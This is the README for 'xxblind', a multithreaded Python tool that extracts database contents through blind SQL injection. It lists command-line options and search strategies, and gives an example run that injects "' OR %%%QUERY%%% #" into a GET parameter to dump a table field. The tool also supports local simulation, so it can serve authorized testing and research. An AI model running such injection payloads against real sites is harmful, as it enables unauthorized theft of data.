eXtremely fast data eXtraction via blind SQL injection
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Type Name Latest commit message Commit time
Failed to load latest commit information.



XXBlind, eXtremely fast data eXtraction via blind SQL injection.

The tool can perform attacks against local databases or vulnerable remote sites. It implements different methods for data extraction, i.e., brute-forcing, binary search, probabilistic binary search weighted on single letters, probabilistic binary search weighted on bigrams and dictionary based search. By using multi-threading, xxblind supports fast searches for increased efficiency.


  • Python 2.7 or greater (Python 3.X supported)


usage: xxblind [-h] [-U] [-i] [-c COOKIE] [-y SUCCESS] [-s SAMPLE]
               [-d DICTIONARY] [-O {0,1,2,3,4}] [-q QUERY] [-Q QROWLEN]
               [-R QROWNUM] [-S QSEPS] [-W QWORDS] [-F FILTER] [-e SEPARATORS]
               -t TABLE -f FIELDS [-T THREADS] [-v] [-u URL]
               [-g [GET [GET ...]]] [-p [POST [POST ...]]] [-l LOCALDB]

Optimizated data retrieval via blind SQLi

optional arguments:
  -h, --help            show this help message and exit
  -U, --upper           if specified, parse the uppercase version of sample
  -i, --quiet           turn off output
  -c COOKIE, --cookie COOKIE
                        pass the data as a cookie
  -y SUCCESS, --success SUCCESS
                        look for this string in the HTML page in case of SQLi
  -s SAMPLE, --sample SAMPLE
                        specify a sample text to parse for collecting
                        statistical informations
  -d DICTIONARY, --dictionary DICTIONARY
                        specify a dictionary file to fill missing words in the
                        sample file
  -O {0,1,2,3,4}, --optimize {0,1,2,3,4}
                        perform an optimized binary search. Use 0 for no
                        optimization (linear search), 1 for binary search, 2
                        for binary search using letters frequency, 3 for
                        binary search using digrams frequency and 4 for
                        dictionary search
  -q QUERY, --query QUERY
                        specify a query for character extraction
  -Q QROWLEN, --qrowlen QROWLEN
                        specify a query for extracting row length
  -R QROWNUM, --qrownum QROWNUM
                        specify a query for extracting the number of rows
  -S QSEPS, --qseps QSEPS
                        specify a query for extracting the position of
                        separators in each row
  -W QWORDS, --qwords QWORDS
                        specify a query for words extraction
  -F FILTER, --filter FILTER
                        specify one or more conditions in every query
  -e SEPARATORS, --separators SEPARATORS
                        specify the separators
  -t TABLE, --table TABLE
                        specify a table
  -f FIELDS, --fields FIELDS
                        specify one or more fields to dump
  -T THREADS, --threads THREADS
                        specify the maximum number of concurrent threads
  -v, --version         show program's version number and exit
  -u URL, --url URL     target url
  -g [GET [GET ...]], --get [GET [GET ...]]
                        define a list of GET variables
  -p [POST [POST ...]], --post [POST [POST ...]]
                        define a list of POST variables
  -l LOCALDB, --localdb LOCALDB
                        target db for simulation purposes. Pass parameters for
                        connecting in the form of host:user:pwd:dbname


A typical invocation of the tool consists in specifying the vulnerable page, a list of GET or POST parameters, the string to look for when the SQLi succeeds, the field of the table to be extracted and the table name, the type of attack, a text for sampling words and computing frequency analysis and the number of threads.

The following command dumps the name field of the table person by performing a dictionary based search using 3 parallel threads:

xxblind -u "" \
        -g "name=’ OR %%%QUERY%%% #" -y "found" \
        -f name -t person -O4 \
        -s samples/names_it.txt -T3
[*] Performing dictionary search
[*] Getting separator positions
[*] Extracted data
Total time (s): 1.18442893028
Parallel threads: 3
Total queries: 59, Total chars: 21
Queries/Chars ratio: 2.80952380952